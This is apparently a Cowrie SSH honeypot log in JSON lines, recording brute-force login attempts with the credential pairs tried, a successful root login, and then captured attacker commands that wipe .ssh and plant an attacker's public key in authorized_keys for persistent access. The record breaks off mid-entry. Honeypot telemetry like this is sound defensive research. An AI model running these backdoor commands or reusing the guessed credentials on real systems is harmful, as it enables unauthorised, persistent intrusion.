{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:15.121855Z","src_ip":"152.32.129.186","session":"6a9ba444bfc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vsftp","password":"Vsftp123!","message":"login attempt [vsftp/Vsftp123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:16.030372Z","src_ip":"152.32.129.186","session":"6a9ba444bfc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:17.251262Z","src_ip":"152.32.129.186","session":"6a9ba444bfc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53218,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c2f4a78695f","protocol":"ssh","message":"New connection: 2.57.122.208:53218 (10.17.0.5:22) [session: 6c2f4a78695f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:22.978860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:23.011896Z","src_ip":"2.57.122.208","session":"6c2f4a78695f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:23.089600Z","src_ip":"2.57.122.208","session":"6c2f4a78695f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:23.592744Z","src_ip":"2.57.122.208","session":"6c2f4a78695f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:24.697815Z","src_ip":"2.57.122.208","session":"6c2f4a78695f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":55374,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d5c802bf097","protocol":"ssh","message":"New connection: 103.13.206.100:55374 (10.17.0.5:22) [session: 2d5c802bf097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:46.788868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:46.793126Z","src_ip":"103.13.206.100","session":"2d5c802bf097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:47.028130Z","src_ip":"103.13.206.100","session":"2d5c802bf097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"Cacti123","message":"login attempt [cacti/Cacti123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:47.995751Z","src_ip":"103.13.206.100","session":"2d5c802bf097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:42:49.232327Z","src_ip":"103.13.206.100","session":"2d5c802bf097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.81.72.185","src_port":47372,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac60c018870c","protocol":"ssh","message":"New connection: 34.81.72.185:47372 (159.203.135.109:22) [session: ac60c018870c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:20.762558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:20.767099Z","src_ip":"34.81.72.185","session":"ac60c018870c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:20.960876Z","src_ip":"34.81.72.185","session":"ac60c018870c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steve","password":"12345678","message":"login attempt [steve/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:21.769656Z","src_ip":"34.81.72.185","session":"ac60c018870c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:22.965598Z","src_ip":"34.81.72.185","session":"ac60c018870c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.117","src_port":46396,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ddb2f079c29","protocol":"ssh","message":"New connection: 103.59.94.117:46396 (159.203.135.109:22) [session: 7ddb2f079c29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:29.588845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:29.592926Z","src_ip":"103.59.94.117","session":"7ddb2f079c29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:29.841840Z","src_ip":"103.59.94.117","session":"7ddb2f079c29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1qaz@WSX","message":"login attempt [ftpuser/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:30.854864Z","src_ip":"103.59.94.117","session":"7ddb2f079c29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":51838,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fc2ef9d77f5","protocol":"ssh","message":"New connection: 45.134.9.27:51838 (159.203.135.109:22) [session: 1fc2ef9d77f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:30.858927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:30.862437Z","src_ip":"45.134.9.27","session":"1fc2ef9d77f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:30.926136Z","src_ip":"45.134.9.27","session":"1fc2ef9d77f5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Xs123456","message":"login attempt [root/Xs123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:31.217927Z","src_ip":"45.134.9.27","session":"1fc2ef9d77f5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:31.381226Z","src_ip":"45.134.9.27","session":"1fc2ef9d77f5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:31.383441Z","src_ip":"45.134.9.27","session":"1fc2ef9d77f5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:31.386174Z","src_ip":"45.134.9.27","session":"1fc2ef9d77f5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:31.452609Z","src_ip":"45.134.9.27","session":"1fc2ef9d77f5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:31.621460Z","src_ip":"45.134.9.27","session":"1fc2ef9d77f5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:31.624400Z","src_ip":"45.134.9.27","session":"1fc2ef9d77f5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:31.694588Z","src_ip":"45.134.9.27","session":"1fc2ef9d77f5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:31.698148Z","src_ip":"45.134.9.27","session":"1fc2ef9d77f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":51848,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d576dabbe13","protocol":"ssh","message":"New connection: 45.134.9.27:51848 (159.203.135.109:22) [session: 2d576dabbe13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:31.755858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:31.760882Z","src_ip":"45.134.9.27","session":"2d576dabbe13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:31.826561Z","src_ip":"45.134.9.27","session":"2d576dabbe13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:32.099298Z","src_ip":"103.59.94.117","session":"7ddb2f079c29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:32.117309Z","src_ip":"45.134.9.27","session":"2d576dabbe13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:33.183985Z","src_ip":"45.134.9.27","session":"2d576dabbe13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.134.9.27","src_port":51864,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b7281c150a7","protocol":"ssh","message":"New connection: 45.134.9.27:51864 (159.203.135.109:22) [session: 4b7281c150a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:33.240984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:43:33.244076Z","src_ip":"45.134.9.27","session":"4b7281c150a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecds